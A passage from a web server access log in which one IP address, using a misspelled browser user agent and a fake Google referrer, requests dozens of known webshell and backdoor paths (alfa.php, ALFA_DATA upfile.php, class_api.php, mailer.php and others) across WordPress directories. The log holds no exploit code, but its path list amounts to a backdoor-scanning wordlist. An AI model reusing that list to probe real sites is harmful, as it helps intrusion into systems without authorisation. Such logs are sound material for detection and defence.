(KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:44 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:44 -0400] "GET /wp-admin/.well-known/upfile.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:45 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 277 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:45 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:45 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 277 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:46 -0400] "GET /owl.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:46 -0400] "GET /xxl.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:46 -0400] "GET /xl2023.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:47 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:47 -0400] "GET /css/iR7SzrsOUEP.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:47 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:47 -0400] "GET /wp-content/index.php HTTP/1.1" 301 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:48 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:48 -0400] "GET /wp-themes.php7 HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:48 -0400] "GET /wong.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:49 -0400] "GET /css/index.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:49 -0400] "GET /x.php HTTP/1.1" 301 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:49 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 295 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:50 -0400] "GET /wp-content/uploads/up.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:50 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:50 -0400] "GET /ALFA_DATA/alfacgiapi/upfile.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:51 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 286 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:51 -0400] "GET /smtp.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:51 -0400] "GET /wp-hoard.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:52 -0400] "GET /.tmb/users.php HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:52 -0400] "GET /ALFA_DATA/alfacgiapi/menu.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:53 -0400] "GET /wsa.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:53 -0400] "GET /wp-seo.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:53 -0400] "GET /cong.php?p= HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:54 -0400] "GET /ioxi-rex.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:54 -0400] "GET /.well-known/warm.PhP7 HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:54 -0400] "GET /.tmb/warm.PhP7 HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:55 -0400] "GET /alfa.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:55 -0400] "GET /plugin.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:55 -0400] "GET /alfa2.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:56 -0400] "GET /alfa-priv.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:56 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:57 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:57 -0400] "GET /wp-include/alfa.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:57 -0400] "GET /st.php HTTP/1.1" 301 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:58 -0400] "GET /f77.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:58 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:58 -0400] "GET /chosen.php?p= HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:59 -0400] "GET /wp-content/wp-apxupx.php?apx=upx HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:59 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:59 -0400] "GET /nice.php?p= HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:00 -0400] "GET /log.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:00 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:00 -0400] "GET /class.api.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:01 -0400] "GET /wp-admin/js/widgets/class.api.php HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:01 -0400] "GET /wp-admin/images/class.api.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:02 -0400] "GET /maint/class.api.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:02 -0400] "GET /wp-admin/network/class_api.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:02 -0400] "GET /wp-content/languages/themes/class_api.php HTTP/1.1" 301 272 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:03 -0400] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:03 -0400] "GET /cgi-bin/class_api.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:03 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:04 -0400] "GET /images/class.api.php HTTP/1.1" 301 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:04 -0400] "GET /dropdown.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:04 -0400] "GET /cong.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:05 -0400] "GET /wp-includes/images/themes.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:05 -0400] "GET /wp-includes/widgets/themes.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:05 -0400] "GET /wp-includes/ID3/themes.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:06 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:06 -0400] "GET /wp-includes/sodium_compat/themes.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:06 -0400] "GET /wp-includes/style-engine/themes.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:07 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:07 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:07 -0400] "GET /wp-includes/sitemaps/themes.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:08 -0400] "GET /wp-includes/blocks/themes.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:08 -0400] "GET /homeroot.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:08 -0400] "GET /defaults.php?p= HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:09 -0400] "GET /function.php?p= HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:09 -0400] "GET /old/function.php?p= HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:09 -0400] "GET /mah/function.php HTTP/1.1" 301 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:10 -0400] "GET /mini.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:10 -0400] "GET /.well-known/pki-validation/x.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:10 -0400] "GET /b0.php HTTP/1.1" 301 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:11 -0400] "GET /atomlib.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:11 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:11 -0400] "GET /million.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:12 -0400] "GET /ioxi2.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:12 -0400] "GET /4pric.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:12 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:13 -0400] "GET /yanz HTTP/1.1" 301 235 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:13 -0400] "GET /menu HTTP/1.1" 301 235 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:13 -0400] "GET /mailer.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:14 -0400] "GET /leaf-mailer.php HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:14 -0400] "GET /wp-includes.bak/random_compat/themes.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:14 -0400] "GET /ty.php?p= HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:15 -0400] "GET /wp-includes/Text/themes.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like 